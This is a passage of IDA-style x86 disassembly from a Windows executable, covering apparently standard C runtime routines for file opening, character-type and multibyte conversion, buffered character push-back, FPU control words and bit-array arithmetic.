		cmp	eax, 20h
		jz	short loc_423AE2
		cmp	eax, 30h
		jz	short loc_423AD9
		cmp	eax, 40h
		jnz	short loc_423A8F
		mov	[ebp+var_10], esi
		jmp	short loc_423AEE
; ---------------------------------------------------------------------------


loc_423AD9:				; CODE XREF: sub_423A33+9Aj
		mov	[ebp+var_10], 2
		jmp	short loc_423AEE
; ---------------------------------------------------------------------------


loc_423AE2:				; CODE XREF: sub_423A33+95j
		mov	[ebp+var_10], 1
		jmp	short loc_423AEE
; ---------------------------------------------------------------------------


loc_423AEB:				; CODE XREF: sub_423A33+90j
		mov	[ebp+var_10], ebx


loc_423AEE:				; CODE XREF: sub_423A33+A4j
					; sub_423A33+ADj ...
		mov	edx, 700h
		mov	eax, 400h
		and	ecx, edx
		mov	edi, 100h
		cmp	ecx, eax
		jg	short loc_423B38
		jz	short loc_423B33
		cmp	ecx, ebx
		jz	short loc_423B33
		cmp	ecx, edi
		jz	short loc_423B2A
		cmp	ecx, 200h
		jz	short loc_423B51
		cmp	ecx, 300h
		jnz	loc_423A8F
		mov	[ebp+var_8], 2
		jmp	short loc_423B61
; ---------------------------------------------------------------------------


loc_423B2A:				; CODE XREF: sub_423A33+D8j
		mov	[ebp+var_8], 4
		jmp	short loc_423B61
; ---------------------------------------------------------------------------


loc_423B33:				; CODE XREF: sub_423A33+D0j
					; sub_423A33+D4j
		mov	[ebp+var_8], esi
		jmp	short loc_423B61
; ---------------------------------------------------------------------------


loc_423B38:				; CODE XREF: sub_423A33+CEj
		cmp	ecx, 500h
		jz	short loc_423B5A
		cmp	ecx, 600h
		jz	short loc_423B51
		cmp	ecx, edx
		jz	short loc_423B5A
		jmp	loc_423A8F
; ---------------------------------------------------------------------------


loc_423B51:				; CODE XREF: sub_423A33+E0j
					; sub_423A33+113j
		mov	[ebp+var_8], 5
		jmp	short loc_423B61
; ---------------------------------------------------------------------------


loc_423B5A:				; CODE XREF: sub_423A33+10Bj
					; sub_423A33+117j
		mov	[ebp+var_8], 1


loc_423B61:				; CODE XREF: sub_423A33+F5j
					; sub_423A33+FEj ...
		mov	eax, [ebp+arg_4]
		mov	esi, 80h
		test	eax, edi
		jz	short loc_423B80
		mov	ecx, dword_4DB940
		not	ecx
		and	ecx, [ebp+arg_C]
		test	cl, 80h
		jnz	short loc_423B80
		push	1
		pop	esi


loc_423B80:				; CODE XREF: sub_423A33+138j
					; sub_423A33+148j
		test	al, 40h
		jz	short loc_423B8E
		or	esi, 4000000h
		or	byte ptr [ebp+var_C+2],	1


loc_423B8E:				; CODE XREF: sub_423A33+14Fj
		test	ah, 10h
		jz	short loc_423B95
		or	esi, edi


loc_423B95:				; CODE XREF: sub_423A33+15Ej
		test	al, 20h
		jz	short loc_423BA1
		or	esi, 8000000h
		jmp	short loc_423BAB
; ---------------------------------------------------------------------------


loc_423BA1:				; CODE XREF: sub_423A33+164j
		test	al, 10h
		jz	short loc_423BAB
		or	esi, 10000000h


loc_423BAB:				; CODE XREF: sub_423A33+16Cj
					; sub_423A33+170j
		call	sub_42371C
		mov	ebx, eax
		or	edi, 0FFFFFFFFh
		cmp	ebx, edi
		jnz	short loc_423BCC
		and	dword_4DB93C, 0
		mov	dword_4DB938, 18h
		jmp	short loc_423C0A
; ---------------------------------------------------------------------------


loc_423BCC:				; CODE XREF: sub_423A33+184j
		push	0
		push	esi
		push	[ebp+var_8]
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_C]
		push	[ebp+arg_0]
		call	dword_4270EC	; CreateFileA
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_423BFD
		push	esi
		call	dword_427030	; GetFileType
		test	eax, eax
		jnz	short loc_423C11
		push	esi
		call	dword_427068	; CloseHandle


loc_423BFD:				; CODE XREF: sub_423A33+1B6j
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		call	sub_4203DF
		pop	ecx


loc_423C0A:				; CODE XREF: sub_423A33+197j
		mov	eax, edi
		jmp	loc_423CE7
; ---------------------------------------------------------------------------


loc_423C11:				; CODE XREF: sub_423A33+1C1j
		cmp	eax, 2
		jnz	short loc_423C1C
		or	[ebp+var_1], 40h
		jmp	short loc_423C25
; ---------------------------------------------------------------------------


loc_423C1C:				; CODE XREF: sub_423A33+1E1j
		cmp	eax, 3
		jnz	short loc_423C25
		or	[ebp+var_1], 8


loc_423C25:				; CODE XREF: sub_423A33+1E7j
					; sub_423A33+1ECj
		push	esi
		push	ebx
		call	sub_4237B1
		pop	ecx
		mov	al, [ebp+var_1]
		pop	ecx
		mov	esi, ebx
		mov	ecx, ebx
		or	al, 1
		sar	ecx, 5
		and	esi, 1Fh
		mov	byte ptr [ebp+arg_0+3],	al
		lea	edi, ds:4DCC80h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		and	byte ptr [ebp+arg_0+3],	48h
		mov	[ecx+esi+4], al
		jnz	short loc_423CCE
		test	al, 80h
		jz	short loc_423CCE
		test	byte ptr [ebp+arg_4], 2
		jz	short loc_423CCE
		push	2
		push	0FFFFFFFFh
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jnz	short loc_423C83
		cmp	dword_4DB93C, 83h
		jz	short loc_423CCE
		jmp	short loc_423CC2
; ---------------------------------------------------------------------------


loc_423C83:				; CODE XREF: sub_423A33+240j
		and	byte ptr [ebp+arg_8+3],	0
		lea	eax, [ebp+arg_8+3]
		push	1
		push	eax
		push	ebx
		call	sub_41F11C
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_423CB0
		cmp	byte ptr [ebp+arg_8+3],	1Ah
		jnz	short loc_423CB0
		push	[ebp+var_10]
		push	ebx
		call	sub_424F0A
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_423CC2


loc_423CB0:				; CODE XREF: sub_423A33+265j
					; sub_423A33+26Bj
		push	0
		push	0
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_423CCE


loc_423CC2:				; CODE XREF: sub_423A33+24Ej
					; sub_423A33+27Bj
		push	ebx
		call	sub_41DA72
		pop	ecx


loc_423CC9:				; CODE XREF: sub_423A33+6Cj
		or	eax, 0FFFFFFFFh
		jmp	short loc_423CE7
; ---------------------------------------------------------------------------


loc_423CCE:				; CODE XREF: sub_423A33+221j
					; sub_423A33+225j ...
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_423CE5
		test	byte ptr [ebp+arg_4], 8
		jz	short loc_423CE5
		mov	eax, [edi]
		or	byte ptr [eax+esi+4], 20h
		lea	eax, [eax+esi+4]


loc_423CE5:				; CODE XREF: sub_423A33+29Fj
					; sub_423A33+2A5j
		mov	eax, ebx


loc_423CE7:				; CODE XREF: sub_423A33+1D9j
					; sub_423A33+299j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_423A33	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423CEC	proc near		; CODE XREF: sub_41F515+5Ep
					; sub_4200E8+9Ap

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427C50
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_4DBB28
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_423D5B
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_427940
		push	esi
		call	dword_427020	; GetStringTypeW
		test	eax, eax
		jz	short loc_423D39
		mov	eax, esi
		jmp	short loc_423D56
; ---------------------------------------------------------------------------


loc_423D39:				; CODE XREF: sub_423CEC+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset dword_4CB4EC
		push	esi
		push	ebx
		call	dword_427024	; GetStringTypeA
		test	eax, eax
		jz	loc_423E21
		push	2
		pop	eax


loc_423D56:				; CODE XREF: sub_423CEC+4Bj
		mov	dword_4DBB28, eax


loc_423D5B:				; CODE XREF: sub_423CEC+2Fj
		cmp	eax, 2
		jnz	short loc_423D84
		mov	eax, [ebp+arg_14]
		cmp	eax, ebx
		jnz	short loc_423D6C
		mov	eax, dword_4DB9F4


loc_423D6C:				; CODE XREF: sub_423CEC+79j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		call	dword_427024	; GetStringTypeA
		jmp	loc_423E23
; ---------------------------------------------------------------------------


loc_423D84:				; CODE XREF: sub_423CEC+72j
		cmp	eax, 1
		jnz	loc_423E21
		cmp	[ebp+arg_10], ebx
		jnz	short loc_423D9A
		mov	eax, dword_4DBA04
		mov	[ebp+arg_10], eax


loc_423D9A:				; CODE XREF: sub_423CEC+A4j
		push	ebx
		push	ebx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_18]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_10]
		call	dword_427180	; MultiByteToWideChar
		mov	[ebp+var_20], eax
		cmp	eax, ebx
		jz	short loc_423E21
		mov	[ebp+var_4], ebx
		lea	edi, [eax+eax]
		mov	eax, edi
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	esi, esp
		mov	[ebp+var_24], esi
		push	edi
		push	ebx
		push	esi
		call	sub_41B590
		add	esp, 0Ch
		jmp	short loc_423DF0
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	esi, esi


loc_423DF0:				; CODE XREF: sub_423CEC+F7j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	esi, ebx
		jz	short loc_423E21
		push	[ebp+var_20]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	1
		push	[ebp+arg_10]
		call	dword_427180	; MultiByteToWideChar
		cmp	eax, ebx
		jz	short loc_423E21
		push	[ebp+arg_C]
		push	eax
		push	esi
		push	[ebp+arg_0]
		call	dword_427020	; GetStringTypeW
		jmp	short loc_423E23
; ---------------------------------------------------------------------------


loc_423E21:				; CODE XREF: sub_423CEC+61j
					; sub_423CEC+9Bj ...
		xor	eax, eax


loc_423E23:				; CODE XREF: sub_423CEC+93j
					; sub_423CEC+133j
		lea	esp, [ebp-34h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_423CEC	endp


; =============== S U B	R O U T	I N E =======================================



sub_423E35	proc near		; CODE XREF: sub_41F58A+61p
					; sub_420446+8p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DCD80
		jb	short loc_423E44
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_423E44:				; CODE XREF: sub_423E35+Aj
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DCC80[ecx*4]
		mov	al, [ecx+eax*8+4]
		and	eax, 40h
		retn
sub_423E35	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423E5B	proc near		; CODE XREF: sub_41F69F+2D4p
					; sub_41F69F+6B3p

arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jnz	short loc_423E67
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_423E67:				; CODE XREF: sub_423E5B+8j
		cmp	dword_4DB9F4, 0
		jnz	short loc_423E82
		mov	cx, [ebp+arg_4]
		cmp	cx, 0FFh
		ja	short loc_423EB4
		push	1
		mov	[eax], cl
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_423E82:				; CODE XREF: sub_423E5B+13j
		lea	ecx, [ebp+arg_0]
		and	[ebp+arg_0], 0
		push	ecx
		push	0
		push	dword_43CBC4
		push	eax
		lea	eax, [ebp+arg_4]
		push	1
		push	eax
		push	220h
		push	dword_4DBA04
		call	dword_42717C	; WideCharToMultiByte
		test	eax, eax
		jz	short loc_423EB4
		cmp	[ebp+arg_0], 0
		jz	short loc_423EC1


loc_423EB4:				; CODE XREF: sub_423E5B+1Ej
					; sub_423E5B+51j
		mov	dword_4DB938, 2Ah
		or	eax, 0FFFFFFFFh


loc_423EC1:				; CODE XREF: sub_423E5B+57j
		pop	ebp
		retn
sub_423E5B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423EC3	proc near		; CODE XREF: sub_420510+6A3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		cmp	esi, ebx
		jz	short loc_423EE6
		cmp	[ebp+arg_8], ebx
		jz	short loc_423EE6
		mov	al, [esi]
		cmp	al, bl
		jnz	short loc_423EEC
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_423EE6
		mov	[eax], bx


loc_423EE6:				; CODE XREF: sub_423EC3+Cj
					; sub_423EC3+11j ...
		xor	eax, eax


loc_423EE8:				; CODE XREF: sub_423EC3+42j
					; sub_423EC3+86j ...
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_423EEC:				; CODE XREF: sub_423EC3+17j
		cmp	dword_4DB9F4, ebx
		jnz	short loc_423F07
		mov	ecx, [ebp+arg_0]
		cmp	ecx, ebx
		jz	short loc_423F02
		movzx	ax, al
		mov	[ecx], ax


loc_423F02:				; CODE XREF: sub_423EC3+36j
					; sub_423EC3+C0j
		push	1
		pop	eax
		jmp	short loc_423EE8
; ---------------------------------------------------------------------------


loc_423F07:				; CODE XREF: sub_423EC3+2Fj
		mov	ecx, off_43C9B8
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_423F64
		mov	eax, dword_43CBC4
		cmp	eax, 1
		jle	short loc_423F4B
		cmp	[ebp+arg_8], eax
		jl	short loc_423F55
		xor	ecx, ecx
		cmp	[ebp+arg_0], ebx
		setnz	cl
		push	ecx
		push	[ebp+arg_0]
		push	eax
		push	esi
		push	9
		push	dword_4DBA04
		call	dword_427180	; MultiByteToWideChar
		test	eax, eax
		mov	eax, dword_43CBC4
		jnz	short loc_423EE8


loc_423F4B:				; CODE XREF: sub_423EC3+5Cj
		cmp	[ebp+arg_8], eax
		jb	short loc_423F55
		cmp	[esi+1], bl
		jnz	short loc_423EE8


loc_423F55:				; CODE XREF: sub_423EC3+61j
					; sub_423EC3+8Bj ...
		mov	dword_4DB938, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_423EE8
; ---------------------------------------------------------------------------


loc_423F64:				; CODE XREF: sub_423EC3+52j
		xor	eax, eax
		cmp	[ebp+arg_0], ebx
		setnz	al
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	9
		push	dword_4DBA04
		call	dword_427180	; MultiByteToWideChar
		test	eax, eax
		jnz	loc_423F02
		jmp	short loc_423F55
sub_423EC3	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_423F90	proc near		; CODE XREF: sub_420510+797p
					; sub_420510+7E7p
		cmp	cl, 40h
		jnb	short loc_423FAA
		cmp	cl, 20h
		jnb	short loc_423FA0
		shld	edx, eax, cl
		shl	eax, cl
		retn
; ---------------------------------------------------------------------------


loc_423FA0:				; CODE XREF: sub_423F90+8j
		mov	edx, eax
		xor	eax, eax
		and	cl, 1Fh
		shl	edx, cl
		retn
; ---------------------------------------------------------------------------


loc_423FAA:				; CODE XREF: sub_423F90+3j
		xor	eax, eax
		xor	edx, edx
		retn
sub_423F90	endp


; =============== S U B	R O U T	I N E =======================================



sub_423FAF	proc near		; CODE XREF: sub_420F86+Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	ebx, 0FFFFFFFFh
		push	esi
		jz	short loc_423FFB
		mov	esi, [esp+8+arg_4]
		mov	eax, [esi+0Ch]
		test	al, 1
		jnz	short loc_423FCD
		test	al, 80h
		jz	short loc_423FFB
		test	al, 2
		jnz	short loc_423FFB


loc_423FCD:				; CODE XREF: sub_423FAF+14j
		cmp	dword ptr [esi+8], 0
		jnz	short loc_423FDA
		push	esi
		call	sub_4239EF
		pop	ecx


loc_423FDA:				; CODE XREF: sub_423FAF+22j
		mov	eax, [esi]
		cmp	eax, [esi+8]
		jnz	short loc_423FEA
		cmp	dword ptr [esi+4], 0
		jnz	short loc_423FFB
		inc	eax
		mov	[esi], eax


loc_423FEA:				; CODE XREF: sub_423FAF+30j
		test	byte ptr [esi+0Ch], 40h
		jz	short loc_424001
		dec	dword ptr [esi]
		mov	eax, [esi]
		cmp	[eax], bl
		jz	short loc_424007
		inc	eax
		mov	[esi], eax


loc_423FFB:				; CODE XREF: sub_423FAF+9j
					; sub_423FAF+18j ...
		or	eax, 0FFFFFFFFh


loc_423FFE:				; CODE XREF: sub_423FAF+6Cj
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_424001:				; CODE XREF: sub_423FAF+3Fj
		dec	dword ptr [esi]
		mov	eax, [esi]
		mov	[eax], bl


loc_424007:				; CODE XREF: sub_423FAF+47j
		mov	eax, [esi+0Ch]
		inc	dword ptr [esi+4]
		and	al, 0EFh
		or	al, 1
		mov	[esi+0Ch], eax
		mov	eax, ebx
		and	eax, 0FFh
		jmp	short loc_423FFE
sub_423FAF	endp


; =============== S U B	R O U T	I N E =======================================



sub_42401D	proc near		; CODE XREF: sub_421576+52p
		xor	eax, eax
		retn
sub_42401D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424020	proc near		; CODE XREF: sub_424055+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		fstcw	word ptr [ebp+var_4]
		push	[ebp+var_4]
		call	sub_42406B
		mov	esi, eax
		mov	eax, [ebp+arg_4]
		not	eax
		and	esi, eax
		mov	eax, [ebp+arg_0]
		and	eax, [ebp+arg_4]
		or	esi, eax
		push	esi
		call	sub_4240FD
		pop	ecx
		mov	[ebp+arg_4], eax
		pop	ecx
		fldcw	word ptr [ebp+arg_4]
		mov	eax, esi
		pop	esi
		leave
		retn
sub_424020	endp


; =============== S U B	R O U T	I N E =======================================



sub_424055	proc near		; CODE XREF: sub_421862+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		and	eax, 0FFF7FFFFh
		push	eax
		push	[esp+4+arg_0]
		call	sub_424020
		pop	ecx
		pop	ecx
		retn
sub_424055	endp


; =============== S U B	R O U T	I N E =======================================



sub_42406B	proc near		; CODE XREF: sub_424020+Cp

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	ebp
		test	bl, 1
		push	edi
		jz	short loc_42407C
		push	10h
		pop	eax


loc_42407C:				; CODE XREF: sub_42406B+Cj
		test	bl, 4
		jz	short loc_424083
		or	al, 8


loc_424083:				; CODE XREF: sub_42406B+14j
		test	bl, 8
		jz	short loc_42408A
		or	al, 4


loc_42408A:				; CODE XREF: sub_42406B+1Bj
		test	bl, 10h
		jz	short loc_424091
		or	al, 2


loc_424091:				; CODE XREF: sub_42406B+22j
		test	bl, 20h
		jz	short loc_424098
		or	al, 1


loc_424098:				; CODE XREF: sub_42406B+29j
		test	bl, 2
		jz	short loc_4240A2
		or	eax, 80000h


loc_4240A2:				; CODE XREF: sub_42406B+30j
		movzx	ecx, bx
		push	esi
		mov	edx, ecx
		mov	esi, 0C00h
		mov	edi, 300h
		and	edx, esi
		mov	ebp, 200h
		jz	short loc_4240DA
		cmp	edx, 400h
		jz	short loc_4240D7
		cmp	edx, 800h
		jz	short loc_4240D3
		cmp	edx, esi
		jnz	short loc_4240DA
		or	eax, edi
		jmp	short loc_4240DA
; ---------------------------------------------------------------------------


loc_4240D3:				; CODE XREF: sub_42406B+5Ej
		or	eax, ebp
		jmp	short loc_4240DA
; ---------------------------------------------------------------------------


loc_4240D7:				; CODE XREF: sub_42406B+56j
		or	ah, 1


loc_4240DA:				; CODE XREF: sub_42406B+4Ej
					; sub_42406B+62j ...
		and	ecx, edi
		pop	esi
		jz	short loc_4240EA
		cmp	ecx, ebp
		jnz	short loc_4240EF
		or	eax, 10000h
		jmp	short loc_4240EF
; ---------------------------------------------------------------------------


loc_4240EA:				; CODE XREF: sub_42406B+72j
		or	eax, 20000h


loc_4240EF:				; CODE XREF: sub_42406B+76j
					; sub_42406B+7Dj
		pop	edi
		pop	ebp
		test	bh, 10h
		pop	ebx
		jz	short locret_4240FC
		or	eax, 40000h

locret_4240FC:				; CODE XREF: sub_42406B+8Aj
		retn
sub_42406B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4240FD	proc near		; CODE XREF: sub_424020+23p

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	esi
		test	bl, 10h
		jz	short loc_42410D
		push	1
		pop	eax


loc_42410D:				; CODE XREF: sub_4240FD+Bj
		test	bl, 8
		jz	short loc_424114
		or	al, 4


loc_424114:				; CODE XREF: sub_4240FD+13j
		test	bl, 4
		jz	short loc_42411B
		or	al, 8


loc_42411B:				; CODE XREF: sub_4240FD+1Aj
		test	bl, 2
		jz	short loc_424122
		or	al, 10h


loc_424122:				; CODE XREF: sub_4240FD+21j
		test	bl, 1
		jz	short loc_424129
		or	al, 20h


loc_424129:				; CODE XREF: sub_4240FD+28j
		test	ebx, 80000h
		jz	short loc_424133
		or	al, 2


loc_424133:				; CODE XREF: sub_4240FD+32j
		mov	ecx, ebx
		mov	edx, 300h
		and	ecx, edx
		mov	esi, 200h
		jz	short loc_424160
		cmp	ecx, 100h
		jz	short loc_42415D
		cmp	ecx, esi
		jz	short loc_424158
		cmp	ecx, edx
		jnz	short loc_424160
		or	ah, 0Ch
		jmp	short loc_424160
; ---------------------------------------------------------------------------


loc_424158:				; CODE XREF: sub_4240FD+50j
		or	ah, 8
		jmp	short loc_424160
; ---------------------------------------------------------------------------


loc_42415D:				; CODE XREF: sub_4240FD+4Cj
		or	ah, 4


loc_424160:				; CODE XREF: sub_4240FD+44j
					; sub_4240FD+54j ...
		mov	ecx, ebx
		and	ecx, 30000h
		jz	short loc_424176
		cmp	ecx, 10000h
		jnz	short loc_424178
		or	eax, esi
		jmp	short loc_424178
; ---------------------------------------------------------------------------


loc_424176:				; CODE XREF: sub_4240FD+6Bj
		or	eax, edx


loc_424178:				; CODE XREF: sub_4240FD+73j
					; sub_4240FD+77j
		pop	esi
		test	ebx, 40000h
		pop	ebx
		jz	short locret_424185
		or	ah, 10h

locret_424185:				; CODE XREF: sub_4240FD+83j
		retn
sub_4240FD	endp


; =============== S U B	R O U T	I N E =======================================



sub_424186	proc near		; CODE XREF: sub_424225+48p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		push	20h
		cdq
		pop	ecx
		idiv	ecx
		push	1Fh
		mov	esi, eax
		mov	eax, [esp+8+arg_4]
		cdq
		idiv	ecx
		pop	ecx
		mov	eax, [esp+4+arg_0]
		sub	ecx, edx
		or	edx, 0FFFFFFFFh
		shl	edx, cl
		not	edx
		test	[eax+esi*4], edx
		jnz	short loc_4241CB
		inc	esi
		cmp	esi, 3
		jge	short loc_4241C6
		lea	eax, [eax+esi*4]


loc_4241B8:				; CODE XREF: sub_424186+3Ej
		cmp	dword ptr [eax], 0
		jnz	short loc_4241CB
		inc	esi
		add	eax, 4
		cmp	esi, 3
		jl	short loc_4241B8


loc_4241C6:				; CODE XREF: sub_424186+2Dj
		push	1
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4241CB:				; CODE XREF: sub_424186+27j
					; sub_424186+35j
		xor	eax, eax
		pop	esi
		retn
sub_424186	endp


; =============== S U B	R O U T	I N E =======================================



sub_4241CF	proc near		; CODE XREF: sub_424225+57p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		idiv	ecx
		mov	esi, eax
		mov	eax, [esp+0Ch+arg_4]
		cdq
		idiv	ecx
		lea	edi, [ebx+esi*4]
		push	edi
		push	1Fh
		pop	ecx
		push	1
		pop	eax
		sub	ecx, edx
		shl	eax, cl
		push	eax
		push	dword ptr [edi]
		call	sub_425050
		add	esp, 0Ch
		dec	esi
		js	short loc_424221
		lea	edi, [ebx+esi*4]


loc_424208:				; CODE XREF: sub_4241CF+50j
		test	eax, eax
		jz	short loc_424221
		push	edi
		push	1
		push	dword ptr [edi]
		call	sub_425050
		add	esp, 0Ch
		dec	esi
		sub	edi, 4
		test	esi, esi
		jge	short loc_424208


loc_424221:				; CODE XREF: sub_4241CF+34j
					; sub_4241CF+3Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4241CF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424225	proc near		; CODE XREF: sub_424380+81p
					; sub_424380+CCp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		lea	edi, [eax-1]
		push	20h
		pop	ecx
		and	[ebp+var_4], 0
		lea	ebx, [edi+1]
		push	20h
		mov	eax, ebx
		pop	esi
		cdq
		idiv	ecx
		push	1Fh
		mov	ecx, eax
		mov	eax, ebx
		cdq
		idiv	esi
		mov	eax, [ebp+arg_0]
		pop	esi
		push	1
		mov	[ebp+var_8], ecx
		lea	eax, [eax+ecx*4]
		mov	[ebp+arg_4], eax
		sub	esi, edx
		pop	edx
		mov	ecx, esi
		shl	edx, cl
		test	[eax], edx
		jz	short loc_424289
		inc	ebx
		push	ebx
		push	[ebp+arg_0]
		call	sub_424186
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_424286
		push	edi
		push	[ebp+arg_0]
		call	sub_4241CF
		pop	ecx
		mov	[ebp+var_4], eax
		pop	ecx


loc_424286:				; CODE XREF: sub_424225+51j
		mov	eax, [ebp+arg_4]


loc_424289:				; CODE XREF: sub_424225+41j
		or	edx, 0FFFFFFFFh
		mov	ecx, esi
		shl	edx, cl
		push	3
		pop	ecx
		and	[eax], edx
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	eax, ecx
		jge	short loc_4242A9
		mov	edx, [ebp+arg_0]
		sub	ecx, eax
		lea	edi, [edx+eax*4]
		xor	eax, eax
		rep stosd


loc_4242A9:				; CODE XREF: sub_424225+76j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424225	endp


; =============== S U B	R O U T	I N E =======================================



sub_4242B1	proc near		; CODE XREF: sub_424380+75p
					; sub_424380+B6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	esi
		push	3
		sub	ecx, eax
		pop	edx


loc_4242BF:				; CODE XREF: sub_4242B1+17j
		mov	esi, [eax]
		mov	[ecx+eax], esi
		add	eax, 4
		dec	edx
		jnz	short loc_4242BF
		pop	esi
		retn
sub_4242B1	endp


; =============== S U B	R O U T	I N E =======================================



sub_4242CC	proc near		; CODE XREF: sub_424380+5Fp
					; sub_424380+9Ep ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	eax, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_4242CC	endp


; =============== S U B	R O U T	I N E =======================================



sub_4242D8	proc near		; CODE XREF: sub_424380+4Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx


loc_4242DE:				; CODE XREF: sub_4242D8+12j
		cmp	dword ptr [eax], 0
		jnz	short loc_4242F0
		inc	ecx
		add	eax, 4
		cmp	ecx, 3
		jl	short loc_4242DE
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_4242F0:				; CODE XREF: sub_4242D8+9j
		xor	eax, eax
		retn
sub_4242D8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4242F3	proc near		; CODE XREF: sub_424380+C0p
					; sub_424380+DAp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	edi, [ebp+arg_0]
		pop	ebx
		or	esi, 0FFFFFFFFh
		cdq
		mov	ecx, ebx
		mov	[ebp+var_4], 3
		idiv	ecx
		mov	[ebp+var_C], eax
